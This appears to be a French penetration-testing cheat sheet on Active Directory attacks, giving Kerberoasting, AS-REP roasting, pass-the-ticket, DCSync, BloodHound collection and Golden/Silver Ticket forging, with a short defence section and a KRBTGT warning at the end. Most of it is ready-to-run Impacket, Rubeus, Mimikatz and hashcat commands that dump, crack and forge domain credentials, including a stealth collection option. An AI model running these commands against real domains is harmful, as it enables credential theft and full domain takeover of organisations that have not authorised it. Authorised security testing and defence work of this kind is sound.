---
title: "Active Directory — Kerberoasting, AS-REP Roasting, DCSync, BloodHound"
domain: security
subdomain: pentest
phase: 05-post-exploitation
type: snippet
tags: [active-directory, kerberoasting, asrep-roasting, dcsync, bloodhound, kerberos, impacket, pentest]
difficulty: advanced
status: stable
updated: "2026-05-14"
---
## Contexte

```
Kerberoasting  → Vol de tickets TGS pour des comptes avec SPN → crack offline
AS-REP Roasting → Comptes sans pré-auth Kerberos → hash KRB5 AS-REP → crack offline
DCSync         → Simuler un DC pour demander les hashes NTLM de tous les comptes
BloodHound     → Cartographier les chemins d'attaque vers Domain Admin
```

---

## Kerberoasting

```
Principe :
1. N'importe quel utilisateur authentifié peut demander un ticket TGS pour un SPN
2. Le ticket est chiffré avec le hash NT du compte de service (SPN)
3. Exporter le ticket → crack offline → mot de passe du compte de service
→ Pas besoin de droits élevés pour demander le ticket
```

```bash
# Lister les SPNs (comptes kerberoastables)
# Depuis Linux (Impacket)
GetUserSPNs.py {{DOMAIN}}/{{USER}}:{{PASSWORD}} -dc-ip {{DC_IP}} -request

# Avec sortie directe pour hashcat
GetUserSPNs.py {{DOMAIN}}/{{USER}}:{{PASSWORD}} -dc-ip {{DC_IP}} -request -outputfile kerberoast_hashes.txt

# Depuis Windows (Rubeus)
.\Rubeus.exe kerberoast /outfile:kerberoast.txt
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /outfile:kerberoast_admins.txt  # comptes admin seulement
```

```powershell
# PowerShell natif — demander un ticket TGS
Add-Type -AssemblyName System.IdentityModel
$ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
  -ArgumentList "{{SPN}}"
[System.Convert]::ToBase64String($ticket.GetRequest())

# PowerView — lister les SPNs
Get-DomainUser -SPN | Select samaccountname, serviceprincipalname
```

```bash
# Cracker les tickets TGS
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt --format=krb5tgs
```

---

## AS-REP Roasting

```
Principe :
Certains comptes ont "Do not require Kerberos preauthentication" activé
→ KDC répond avec un AS-REP chiffré avec le hash de l'utilisateur
→ Aucune authentification préalable nécessaire → crack offline
```

```bash
# Identifier les comptes vulnérables (nécessite un compte valide)
GetNPUsers.py {{DOMAIN}}/{{USER}}:{{PASSWORD}} -dc-ip {{DC_IP}} -request

# Sans compte valide (si on a une liste d'utilisateurs)
GetNPUsers.py {{DOMAIN}}/ -usersfile users.txt -dc-ip {{DC_IP}} -no-pass -request

# Rubeus (depuis Windows)
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt
```

```bash
# Cracker les hash AS-REP
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt --format=krb5asrep
```

---

## Pass-the-Ticket (PTT)

```bash
# Importer un ticket Kerberos (fichier .ccache ou .kirbi)
# Depuis Mimikatz — exporter les tickets
mimikatz# sekurlsa::tickets /export   # exporte les tickets en .kirbi

# Convertir et utiliser avec Impacket
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=/tmp/ticket.ccache
secretsdump.py -k -no-pass {{DOMAIN}}/{{USER}}@{{DC_HOSTNAME}}

# Rubeus — importer un ticket en mémoire
.\Rubeus.exe ptt /ticket:base64_ticket_here
.\Rubeus.exe ptt /ticket:ticket.kirbi
# Vérifier le ticket en mémoire
.\Rubeus.exe klist
```

---

## DCSync — Dump de tous les hashes NTLM

```
Prérequis :
  - Droits "Replicating Directory Changes" et "Replicating Directory Changes All"
  - Accordés par défaut à : Domain Admins, Enterprise Admins, Domain Controllers
  - Accessibles via délégation (comptes compromis avec ces droits)
```

```bash
# Impacket — DCSync depuis Linux
secretsdump.py {{DOMAIN}}/{{DA_USER}}:{{DA_PASSWORD}}@{{DC_IP}}
secretsdump.py {{DOMAIN}}/{{DA_USER}}:{{DA_PASSWORD}}@{{DC_IP}} -just-dc-user Administrator
secretsdump.py {{DOMAIN}}/{{DA_USER}}:{{DA_PASSWORD}}@{{DC_IP}} -just-dc-ntlm

# Pass-the-Hash pour DCSync
secretsdump.py -hashes :{{NTLM_HASH}} {{DOMAIN}}/Administrator@{{DC_IP}}
```

```powershell
# Mimikatz — DCSync depuis Windows
mimikatz# lsadump::dcsync /domain:{{DOMAIN}} /user:Administrator
mimikatz# lsadump::dcsync /domain:{{DOMAIN}} /all /csv
```

---

## BloodHound — Cartographie AD

```bash
# Collecte depuis Linux (SharpHound Python)
pip3 install bloodhound
bloodhound-python -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} \
  -ns {{DC_IP}} -c All --zip

# Collecte depuis Windows (SharpHound .exe)
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip
.\SharpHound.exe -c All,GPOLocalGroup --stealth

# Lancer BloodHound + Neo4j
neo4j start
bloodhound &
# Importer le ZIP → Upload Data
```

```
Requêtes BloodHound essentielles (Cypher) :
  Trouver les chemins vers Domain Admins :
    [Pre-built Queries] → "Find Shortest Paths to Domain Admins"

  Kerberoastable users avec chemins DA :
    MATCH (u:User {hasspn:true}) RETURN u

  AS-REP Roastable :
    MATCH (u:User {dontreqpreauth:true}) RETURN u

  Comptes avec DCSync rights :
    MATCH (n)-[r:GetChanges|GetChangesAll]->(d:Domain) RETURN n

  Chemins depuis un compte compromis :
    MATCH (c:Computer {name:"{{COMPROMISED_PC}}"}),(n:Group {name:"DOMAIN ADMINS@{{DOMAIN}}"}),
    p=shortestPath((c)-[*1..]->(n)) RETURN p
```

---

## Golden Ticket & Silver Ticket

```bash
# Golden Ticket — nécessite le hash NTLM du compte KRBTGT
# Récupérer krbtgt hash via DCSync
secretsdump.py {{DOMAIN}}/Administrator:{{PASSWORD}}@{{DC_IP}} -just-dc-user krbtgt

# Générer le Golden Ticket (Mimikatz)
mimikatz# kerberos::golden /user:Administrator /domain:{{DOMAIN}} \
  /sid:{{DOMAIN_SID}} /krbtgt:{{KRBTGT_NTLM_HASH}} /ptt
# → Ticket valide 10 ans, impersonne n'importe quel compte

# Silver Ticket — hash du compte de service (ciblé)
mimikatz# kerberos::golden /user:Administrator /domain:{{DOMAIN}} \
  /sid:{{DOMAIN_SID}} /target:{{SERVICE_HOST}} \
  /service:cifs /rc4:{{SERVICE_NTLM_HASH}} /ptt
```

---

## Défense

```powershell
# Kerberoasting — comptes de service avec mots de passe robustes
# Utiliser GMSA (Group Managed Service Accounts) — rotation automatique
New-ADServiceAccount -Name "MySvc" -DNSHostName "{{DOMAIN}}" `
  -PrincipalsAllowedToRetrieveManagedPassword "{{SERVICE_HOSTS}}"

# AS-REP Roasting — désactiver "Do not require Kerberos preauthentication"
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
  Set-ADAccountControl -DoesNotRequirePreAuth $false

# DCSync — audit des droits de réplication
Get-ADObject -Filter {ObjectClass -eq 'domainDNS'} -Properties nTSecurityDescriptor |
  Select-Object -ExpandProperty nTSecurityDescriptor | 
  Select-Object -ExpandProperty Access |
  Where-Object {$_.ActiveDirectoryRights -match "ExtendedRight"}
```

<Warning>
Le compte KRBTGT ne change jamais son mot de passe automatiquement. Un Golden Ticket forgé avec l'ancien hash reste valide jusqu'au changement du mot de passe KRBTGT (deux fois pour invalider les tickets existants). En cas de compromission d'un DC, changer le mot de passe KRBTGT deux fois est impératif.
</Warning>

<Tip>
BloodHound révèle systématiquement des chemins inattendus vers Domain Admin via des comptes de service ou des droits délégués oubliés. Dans 80% des environnements AD audités, un utilisateur non privilégié peut devenir DA en 3-4 sauts maximum. Lancer BloodHound au début d'un engagement interne avant toute tentative de bruteforce.
</Tip>
